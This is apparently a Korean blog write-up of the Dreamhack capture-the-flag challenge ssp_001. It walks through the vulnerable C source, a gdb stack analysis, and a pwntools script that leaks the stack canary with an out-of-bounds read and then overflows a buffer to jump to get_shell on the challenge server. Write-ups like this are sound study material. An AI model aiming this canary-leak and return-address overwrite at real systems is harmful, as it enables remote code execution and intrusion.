system hacking

드림핵 ssp_001 문제 풀이

24kg0ld 2024. 6. 30. 22:55

문제풀이 환경 : 구름 ide

1. 문제 파일 다운, 환경 파악

문제의 바이너리와 소스 코드를 다운 받고 $ chmod +x ssp_001을 하여 실행 권한을 주었다.

environment
$ checksec를 이용해 확인할 수도 있고, 이 문제에서는 미리 주어졌다.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32비트 환경이고, Canary 보호 기법이 적용 되었음을 알 수 있다.
No PIE이므로 함수의 위치가 고정 됨을 알 수 있다.

2. 코드, 취약점 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh"); //shell 실행 함수
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]); //index와 box[idx]의 값을 16진수 형태로 출력 
}
void menu() { //메뉴 인터페이스
    puts("[F]ill the box"); 
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {}; //64바이트 크기의 box 배열 선언 (char가 1바이트)
    char name[0x40] = {}; //64바이트 크기의 name 배열 선언
    char select[2] = {}; // 2바이트 크기의 select 배열 선언
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F': //최대 64바이트의 입력을 받아서 박스에 저장
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P': //box[입력]에 있는 값 출력
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E': //최대 Name Size만큼 name을 입력 받고 프로그램 종료
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

취약점 분석
위의 코드에서 idx의 크기가 지정되지 않았기 때문에 idx를 임의대로 입력하여 box 배열 외의 canary 등의 다른 정보를 읽어올 수 있다.
또, Name을 입력받을 때 name_len도 임의로 지정할 수 있기 때문에 name 배열의 크기를 넘어가게 작성하여 버퍼 오버플로우를 발생시킬 수 있다.
마지막으로, get_shell 함수를 활용해 shell을 실행시킬 수 있다.

위의 취약점을 조합하여,
먼저 canary의 주소를 가리킬 수 있게 idx 값을 설정하여 canary의 값을 알아낸다.
그 후 get_shell 함수가 실행될 수 있도록 name부터 canary까지의 stack(버퍼)에 임의의 값을 넣고, canary에 위에서 획득한 canary 값을 입력한 후, return_adress에 get_shell 함수의 주소값을 입력해주면 될 것 같다.

3. 스택 프레임 분석

canary가 적용되지 않은 32비트 시스템의 스택 프레임은 버퍼, sfp(4바이트), return adress(4바이트)로 구성된다.
여기에 canary가 적용되면 canary의 위치가 어디로 설정되는지를 gdb를 활용하여 찾아봤다.

disass main
Dump of assembler code for function main:
   0x0804872b <+0>:     push   ebp
   0x0804872c <+1>:     mov    ebp,esp
   0x0804872e <+3>:     push   edi
   0x0804872f <+4>:     sub    esp,0x94
   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:    mov    eax,gs:0x14
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:    xor    eax,eax

main 함수를 disassemble 하여 보면 main+4에서 esp를 0x94만큼 빼주어 buf를 0x94 크기만큼 할당해주는 것을 알 수있다.
그 후 main+19에서 eax에 canary 값이 옮겨지고, 이 값이 main+25에서 ebp-0x8에 저장됨을 알 수 있다.

스택 프레임을 간단하게 나타내보면
buf(ebp-0x98 ~ ebp-0x9) | canary(ebp-0x8 ~ ebp-0x5) | dummy(ebp-0x4 ~ ebp) | sfp(4바이트) | return adress(4바이트)
위와 같이 구성된다.
dummy(사용되지 않는 잉여 공간)이 4바이트만큼 생기는 이유는 32비트 시스템에서 canary의 크기가 4바이트기 때문이다.

4. 함수와 변수 주소 분석

get_shell 주소
취약점 분석에서 get_shell 함수의 주소가 필요했다.
gdb에서 info function 명령어를 사용하여 get_shell의 주소가 0x080486b9 임을 알았다.

box와 name 주소
버퍼의 크기는 알았지만 box와 name의 시작 주소를 모른다면,
idx에 어떤 값을 넣어야 canary leak을 할 수 있는지 name에서부터 얼마나 떨어진 곳에 canary와 return adress 등이 있는 지를
알 수 없기 때문에 box와 name의 주소를 알아야 된다.
이것도 위와 마찬가지로 'disassemble main' 명령어로 확인할 수 있다.

   0x080487cb <+160>:   call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:   add    esp,0x4
   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]
   0x080487db <+176>:   push   eax
   0x080487dc <+177>:   push   0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt>
   0x080487e3 <+184>:   add    esp,0xc

먼저 box를 인자로 사용하는 read 함수의 앞 부분을 확인한다.
main+170에 ebp-0x88을 eax에 넣어주는 것을 보면 box의 시작주소가 ebp-0x88임을 알 수 있다.

   0x08048858 <+301>:   push   eax
   0x08048859 <+302>:   lea    eax,[ebp-0x48]
   0x0804885c <+305>:   push   eax
   0x0804885d <+306>:   push   0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt>

마찬가지로 name을 인자로 사용하는 read 함수의 앞 부분을 확인한다.
main+302에 ebp-0x48을 eax에 넣어주는 것을 보면 name의 시작주소가 ebp-0x48임을 알 수 있다.

이렇게 필요한 정보가 다 모였으므로 코드를 작성해보면 된다.

5. 쉘코드 작성

from pwn import *

context.arch = 'i386'

p = remote('host3.dreamhack.games', 8710)

p.sendlineafter(b'xit', b'P') #canary 값 하나씩 가져오기
p.sendlineafter(b'index : ', b'129') #box가 canary로부터 0x80(128)만큼 떨어져 있으므로 box[129]를 하면 canary의 첫번째 값이 출력된다.
canary = str(hex(int(p.recvline()[-3:-1], 16)))[2:]

p.sendlineafter(b'xit', b'P') #canary 값의 2번째 바이트
p.sendlineafter(b'index : ', b'130')
canary = str(hex(int(p.recvline()[-3:-1], 16)))[2:] + canary

p.sendlineafter(b'xit', b'P') #canary 값의 3번째 바이트
p.sendlineafter(b'index : ', b'131')
canary = str(hex(int(p.recvline()[-3:-1], 16)))[2:] + canary

canary += "00" #마지막 바이트는 00이므로 직접 넣어주고 패킹하기 쉽게 0x를 추가해준다.
canary = "0x" + canary

get_shell = p32(0x080486b9) #get_shell 함수의 주소 패킹

payload = b'A' * 0x40 + p32(int(canary, 16)) + b'B' * 8 + get_shell #name 함수가 canary로부터 0x40만큼 떨어져 있는 것을 확인했으니 0x40을 canary 전까지 'A'로 채우고 그 후 스택 프레임에 맞게 payload 작성
p.sendlineafter(b'xit', b'E')
p.sendlineafter(b'Size : ', b'500') #name_len(입력할 크기)를 payload보다 긴 임의의 값으로 설정
p.sendafter(b'Name : ', payload) #name에 payload 입력하여 쉘 획득

p.interactive()

위와 같이 쉘코드 작성 후

$ls
$cat flag

로 플래그 획득